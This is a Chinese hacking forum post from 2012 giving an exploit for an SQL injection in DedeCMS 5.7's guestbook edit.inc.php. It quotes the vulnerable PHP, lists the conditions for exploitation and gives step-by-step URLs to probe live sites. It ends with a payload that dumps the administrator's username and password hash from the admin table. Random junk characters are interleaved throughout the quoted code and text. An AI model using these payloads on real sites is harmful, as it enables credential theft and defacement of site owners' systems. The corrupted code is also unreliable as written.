找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3769|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.71 ?8 U' q" [, r$ W; D! V2 |) m
) U( J' J; y2 z4 C
漏洞文件edit.inc.php具体代码:
! B$ t# H7 z" F0 w+ Y  k
1 X# N8 X8 j8 K! c) J* Y3 _< ?php  $ _% @+ F# f2 z& P

+ f3 a. j% V+ ~9 Yif(!defined('DEDEINC')) exit('Request Error!');  
  R9 H0 U: g  z* J. T( u$ i- Q; W% B7 {1 K8 E
   
! e. Y  N6 j# V
2 \7 D8 w7 C) G1 eif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  9 L* Q6 Z# N) t

+ B! C) l: P$ r) @$ Xelse $GUEST_BOOK_POS = "guestbook.php";  
  T" _+ ~( ~$ o1 b: o0 s. m
* u4 A8 ]' d0 i/ {- _) t   
4 R) G9 _1 b8 F
( t* g" }% f; B% N5 G$id = intval($id);  
4 j. f3 c- j3 x' l1 A2 }, E7 f. @
if(empty($job)) $job='view';  
: f9 Q/ i% a' f5 h4 \, }
4 s: O% O5 ?) \* V" e   
3 n, O0 U$ y  y! K$ O% x- j
( s' g5 h: l0 ]4 u3 C% yif($job=='del' && $g_isadmin)  8 U4 S% D$ j: k4 w
& C- e/ H+ A( k2 V* a+ L# r
{    W' \6 k2 }) C% |7 q8 w9 f' k, I. t

; |' Y0 Q: Z, [! T) g# m$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  , u% `* m5 ]! s" c1 @$ p4 O2 Z

) E* f- m) n  j& tShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
8 F: U  F4 F* f9 n' d; j( D" E: ^* ~( O' x; @5 ]
exit();  
+ O% {0 L- p2 e' b7 D. o# d* y$ H
}  
* v& |  C, j" O4 ~5 b- R1 F+ v% O
else if($job=='check' && $g_isadmin)  
) L7 e8 b. V$ U- n  F6 m2 l
9 K: b. C) V4 o4 D; a. b{  
5 P2 u  g3 f1 K  y" w% v
! |4 l) l1 k; @: j" ?: m4 y4 z$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
& a8 L0 m  K0 @& q" w( w3 J+ v$ C( q% F; r" a$ a) Z
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);    l$ C$ A2 U7 u6 I5 e( ?" v
$ [4 S1 Z3 x) C- f
exit();  $ D" D6 [5 a2 t. Q4 ~) @, {0 f
9 R1 U  `  `! c3 Q, R! k4 R
}  
: T7 b, K% X  T% D. a7 G
: \; \5 E2 X8 c1 n* celse if($job=='editok')  1 u, D* j; ~1 |9 n+ ]) ^4 ]
8 P5 S1 ]# g1 ~: |
{  
1 Y, @7 Z& s. [. w+ Y9 w4 V2 B# N/ |( H
$remsg = trim($remsg);  ( e- g6 F& O# q9 B
6 F# `3 S, V& F+ E- Z
if($remsg!='')  
& ~. y  g! @9 z& O6 v) h
( C4 p, t3 S/ q8 ^8 c{  
5 o, ?  ~; E8 \9 f  e  J
/ J+ q1 k0 B+ r" \3 F$ Y//管理员回复不过滤HTML By:Errorera blog:errs.cc  7 `# Z5 U! |) n3 S3 ]

) W% `, x. A8 R. f( Vif($g_isadmin)  
& \' R1 {* F0 N
) u! d3 ~( R8 s9 \6 r{  , N  S5 n4 Y) }" p0 a$ f' @
1 z( P0 K& k. Y9 z! O1 _8 C
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
( G( u) j* T( S& m% n0 X' l- Q' Z+ [9 [
//$remsg <br /><font color=red>管理员回复:</font> }  " I/ m' h+ ?0 H

: M7 F' `9 k* c* U- ]" X! velse 8 L, G. A& A% I+ r3 @) X. @

  }7 M6 D# T5 e' {/ D7 ?{  & A" h) _, I' w, f: d

/ c3 d8 V8 A& x$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  ! c* {8 F9 Z5 \5 M6 G" ]- p
; {9 m1 i! V6 ~  B7 r" w! h
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
" X3 B3 p6 C$ p& J) Y/ i% m, U/ h0 p% O2 X
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
4 F0 h& C2 F2 f/ t& b) r( F$ P6 V, m( U, l, \
$msg = $oldmsg.$remsg;  
2 \- B5 U4 a* l' Z# m7 ]5 L6 i' p1 l6 q; Y" M
}  ( {6 V+ o7 g1 \; h0 V) h" d. {) B

1 X: H# c0 S+ X' O# w}  5 J9 q0 W/ c) s8 y( O) J" z" l

$ w. P2 J! n! G' X" J//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
. h# l+ o4 i' O1 l$ i# Z8 @. t# D1 }4 a, v$ Q. d. V
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
( B3 [2 y1 Y. y0 @
) h2 F+ B6 W2 l) iShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ) U* f/ M+ l4 H/ i) U. y' F

# u* r1 g, g: \8 p" i" _exit();  " G6 i9 H& C& T% _4 X

5 v% _- U  W8 n}  5 E5 O+ N* W# X* \0 ^4 R5 H* \

0 p0 s8 i5 W% q, n# H& u+ b% G//home:www.errs.cc  & @- f. N+ @# `& M* m/ ?2 N$ M* O
* O: R, b9 e4 E% F6 }, q
if($g_isadmin)  8 _8 l1 e0 U9 L+ @* d: e

0 I( a& e2 [' o0 c3 u# G* _{  
" V2 Z9 [) D, c/ o9 |
9 z1 v% z$ a& y' x$ }2 ^$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  2 [. Y' t2 b7 u6 _: L
: [0 W2 O# q' w3 n% B0 j1 r# P
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
, d! N& @& E; r! A5 g8 P3 G0 N8 e( `/ l7 u& ]
}  
3 o. k7 x* S5 G4 w* e' m$ q7 l
. {6 u' @2 r2 R4 W, [% v& j3 v' pelse
5 f3 }- O/ K$ F! F. B8 Z/ q8 z2 N+ p( R( O% d8 N( ]! }
{  7 Z" i7 X. J& \5 y* n! ~2 V
' L  g4 m( H$ r( j. N- D( N  z7 w" C
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
& t0 [. a6 ^. L
! k( Y9 q3 J: K* brequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');    S$ i/ K' Q7 p+ _$ A  R! r
, o" u; G9 b+ P, x/ w
} 漏洞成功需要条件:
* |. Q. E$ C/ S9 p0 k' T1. php magic_quotes_gpc=off
- ~4 a% w4 H4 B1 g$ D/ `3 f2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。1 |1 B6 i+ {% X

( R! R, ~- x' P. x0 ~- q怎么判断是否存在漏洞:
" g9 `; g4 K$ c+ h! w% F1 f% u先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
- k$ U( e, \6 c& P" _然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
4 g, |' {4 }+ @7 M访问:
" l% d9 E% C; s1 Y/ @1 x. h9 v
' H& |  P& _: w# K7 b8 rwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了& d1 ~" H* ?. S" Y& s" @
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
+ [2 f$ ]- r& y. p( K. x
- r5 V7 U  j2 L: U* Z( F4 x4 w1 |* I. t0 X
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, Q4 Z% U9 z% p. b4 `如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
7 a+ c+ S6 B, g6 J6 d+ K: Q那么再次访问+ d9 T2 {! ~/ z) q: V8 j
# x2 ]3 [7 b7 l% ^" n! f3 A
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
2 Q0 _; H7 O* L: F$ @# R6 Z1 l& s# s  \1 ~+ @5 X
大概利用就是这样,大家有兴趣的多研究下!!5 d6 f, L& j5 T" B- H4 r' C

& @4 O. \; l: U: W  L最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!: l( t+ `/ ]  b/ h, M
6 {) Y5 p# T2 C3 D% Y" k  @  Q5 H- V
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表